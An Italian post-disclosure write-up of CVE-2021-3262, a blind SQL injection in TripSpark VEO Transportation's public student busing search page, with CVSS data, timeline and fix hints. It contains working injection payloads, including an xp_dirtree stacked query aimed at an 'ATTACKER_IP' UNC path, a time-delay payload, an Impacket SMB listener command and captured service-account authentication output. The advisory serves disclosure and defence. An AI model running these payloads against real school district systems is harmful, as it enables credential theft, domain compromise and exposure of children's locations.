
CVE-2021-3262 - SQL Injection cieca nel parametro editOEN di TripSpark VEO Transportation / NovusEDU. Non autenticato, esposto su internet. Payload, richieste annotate ed evidenze.
Iniezione SQL in TripSpark VEO Transportation / NovusEDU
La pagina di ricerca pubblica "Student Busing Information" distribuita con TripSpark VEO Transportation accetta input non autenticati nel corpo della richiesta POST e li concatena in una query SQL Server senza parametrizzazione né validazione lato server. Il parametro editOEN (il campo del numero studente) è iniettabile.
L'iniezione è cieca: l'applicazione non restituisce errori di database né contenuti differenziali degni di lettura. È comunque completamente sfruttabile out-of-band, perché la connessione al database può raggiungere master.dbo.xp_dirtree, che costringe l'account di servizio di SQL Server ad autenticarsi in uscita via SMB verso un percorso UNC fornito dall'attaccante.
Trovata durante un penetration test esterno. Nell'incarico originale, la credenziale catturata dell'account di servizio è stata il punto d'accesso iniziale che ha portato al completo compromesso del dominio e della foresta Active Directory del cliente.
Pubblicata come CVE-2021-3262. Scoperta e segnalata da Sedric Louissaint di Show Up Show Out Security.
| CVE | CVE-2021-3262 |
| Prodotto | TripSpark VEO Transportation / NovusEDU |
| Versioni interessate | NovusEDU-2.2.x-XP_BB-20201123-184084, VEO--20201123-184084OS |
| Debolezza | CWE-89: SQL Injection |
| CVSS 3.1 (NVD) | 9.8 Critico CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS 2 (ricercatore) | 9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P |
| Pubblicato | 2023-08-29 |
| Testato su | Windows Server 2012 R2 Standard, SQL Server 2012 (SP3) 11.0.6020.0 (x64) |
| Autenticazione richiesta | Nessuna. La pagina di ricerca è esposta a Internet per progettazione. |
Descrizione NVD:
TripSpark VEO Transportation-2.2.x-XP_BB-20201123-184084 NovusEDU-2.2.x-XP_BB-20201123-184084 consente input di dati non sicuri nei parametri del corpo POST da parte degli utenti finali, senza sanificazione tramite logica lato server. Era possibile iniettare comandi SQL personalizzati nelle query di ricerca "Student Busing Information".
I distretti scolastici distribuiscono la pagina "Student Busing Information" sui loro siti web pubblici così che i genitori possano cercare l'assegnazione del bus di uno studente. La pagina richiede un N Number dello studente e una data di nascita, ed è intenzionalmente non autenticata.

Il campo N Number viene inviato come editOEN. La data di nascita viene inviata come cboxMonth, cboxDay e cboxYear. editOEN è il parametro iniettabile.
A differenza di molte applicazioni ASP.NET di questa epoca, questa pagina non restituisce errori di database. Non c'è alcuna differenza visibile tra una query ben formata e una non valida, quindi le tecniche in-band sono un vicolo cieco.
Le query impilate vengono eseguite, ed è tutto ciò che serve.
master.dbo.xp_dirtree enumera una directory. Dato un percorso UNC, SQL Server si autentica verso l'host di destinazione via SMB prima di leggerlo. Puntarlo verso un listener trasforma un'iniezione silenziosa in una visibile:
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

La richiesta è un normale POST ASP.NET WebForms, di circa 4.700 byte, la maggior parte dei quali è __VIEWSTATE. La richiesta completa è in poc/exploited-request.http, i payload in poc/payloads.sql.

Con smbserver.py di Impacket in ascolto su un host su Internet pubblico, il server di database all'interno della rete del distretto si autentica in uscita:
[*] Incoming connection (204.x.x.x,58497)
[*] AUTHENTICATE_MESSAGE (\SQLServices,<REDACTED>-VEO-DB)
[*] User <REDACTED>-VEO-DB\SQLServices authenticated successfully
[*] SQLServices::...

Due cose meritano di essere dette esplicitamente. Primo: si tratta di un modulo non autenticato esposto a Internet che raggiunge un database di produzione. Secondo: a quel server di database era consentito aprire connessioni SMB in uscita verso host Internet arbitrari, ed è ciò che ha reso osservabile l'iniezione cieca.
Oltre all'iniezione stessa, la credenziale NTLMv2 catturata per l'account di servizio di SQL Server è stata il punto d'accesso iniziale nell'incarico originale. Da lì, il test è proseguito fino al completo compromesso del dominio e della foresta Active Directory del cliente.
I dati a rischio sono i registri del trasporto scolastico degli studenti: nomi, indirizzi di casa, bus assegnato, fermata assegnata, orari di prelievo e percorsi per l'educazione speciale. Si tratta di una pianificazione di dove bambini identificabili si troveranno fisicamente in momenti noti.
Contro un'istanza di laboratorio di tua proprietà o che sei autorizzato a testare:
sudo smbserver.py c . -smb2support
xp_dirtree da poc/payloads.sql nel campo N Number, sostituendo il proprio IP. Catturare e riprodurre la POST invece di digitare nel browser se il campo ha un limite di lunghezza lato client, poiché quel limite non esiste lato server.123'; waitfor delay '0:0:10';--
poc/
payloads.sql Detection, time-based and out-of-band payloads for editOEN
exploited-request.http The full POST request, ready for sqlmap -r
sqlmap.md sqlmap invocations for a blind stacked-query injection
media/
01-student-busing-information-page.png
02-editoen-payload-in-burp.png
03-forced-auth-captured-impacket.png
04-exploited-http-request.png
Gli identificativi dei client nelle catture sono oscurati. Gli indirizzi dei listener provengono dall'incarico originale e non sono più attivi. Sostituiscili con i tuoi durante la riproduzione.
editOEN come parametro e il payload diventa una stringa inerte, qualunque cosa contenga.xp_dirtree e alle altre stored procedure estese.| Data | Evento |
|---|---|
| 2021 | Trovata durante un penetration test esterno e segnalata a TripSpark |
| 2023-08-29 | CVE-2021-3262 pubblicata su NVD, valutata 9.8 Critico |
Pubblicato dopo la divulgazione, per uso difensivo ed educativo. Non eseguire questi payload contro sistemi che non possiedi o per i quali non hai un'autorizzazione scritta al test. Se amministri una distribuzione distrettuale, l'azione utile qui è chiedere al tuo fornitore, per iscritto, se le query dietro i tuoi moduli pubblici sono parametrizzate.